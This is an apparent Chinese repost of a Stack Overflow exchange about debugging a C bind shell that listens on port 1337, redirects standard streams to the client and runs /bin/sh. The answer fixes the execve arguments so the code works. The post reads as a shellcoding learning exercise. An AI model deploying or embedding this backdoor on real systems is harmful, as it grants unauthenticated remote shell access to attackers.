gpt4 book ai didi

c - C 中的简单 Linux Bindshell - 将 Shell 控制返回给客户端

转载 作者:太空宇宙 更新时间:2023-11-04 10:16:36 25 4
gpt4 key购买 nike

我在使用简单的 TCP bindshell 时遇到问题,我希望这里有人可以帮助我。

这是一些简单的 C 示例代码,对我来说问题是最后 5 行左右。

我们称它为 simple_bindshell.c(我不是作者):

// Author:  Julien Ahrens (@MrTuxracer)
// Website: http://www.rcesecurity.com

#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main(void)
{
int i; // used for dup2 later
int sockfd; // socket file descriptor
int clientfd; // client file descriptor
socklen_t socklen; // socket-length for new connections

struct sockaddr_in srv_addr; // server aka listen address
struct sockaddr_in cli_addr; // client address

srv_addr.sin_family = AF_INET; // server socket type address family = internet protocol address
srv_addr.sin_port = htons( 1337 ); // server port, converted to network byte order
srv_addr.sin_addr.s_addr = htonl (INADDR_ANY); // listen on any address, converted to network byte order

// create new TCP socket
sockfd = socket( AF_INET, SOCK_STREAM, IPPROTO_IP );

// bind socket
bind( sockfd, (struct sockaddr *)&srv_addr, sizeof(srv_addr) );

// listen on socket
listen(sockfd, 0);

// accept new connections
socklen = sizeof(cli_addr);
clientfd = accept(sockfd, (struct sockaddr *)&cli_addr, &socklen );

// dup2-loop to redirect stdin(0), stdout(1) and stderr(2)
for(i = 0; i <= 2; i++)
dup2(clientfd, i);

// magic
// execve( "/bin/sh", NULL, NULL );

//UPDATE: fixed exec call, shell still not returned to
// client connecting with execl or proper execve
execl("/bin/sh", "/bin/sh", (char *)NULL);
}

问题描述

编译后,我可以连接到套接字(使用:nc 192.168.x.x 1337)。问题是我的客户端连接立即关闭,shell 返回到服务器上的 simple_bindshell 进程,而不是发起连接的客户端。

我知道我们已经复制了 stdin、stdout、stderr 文件描述符,但我不确定这如何链接到执行/bin/sh。

我希望发生的是客户端连接获得一个交互式 shell。

我尝试过以几种不同的方式调用 execve(例如,为 argv 传递不同的值),但我似乎无法理解为什么它不起作用。 execve 是否需要客户端文件描述符?

任何帮助将不胜感激

最佳答案

您对 execve() 的论点是错误的。第二个参数必须是指向字符串数组的指针,它将成为新程序中的 argv 数组。第三个参数必须是指向字符串数组的指针,该字符串数组将成为新程序的环境数组。

char *new_argv[] = {"/bin/sh", NULL};
char *new_envp[] = {NULL};
execve( "/bin/sh", new_argv, new_envp);

您可以使用 execl() 更简单地完成此操作:

execl("/bin/sh", "/bin/sh", (char *)NULL);

关于c - C 中的简单 Linux Bindshell - 将 Shell 控制返回给客户端,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/45887849/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com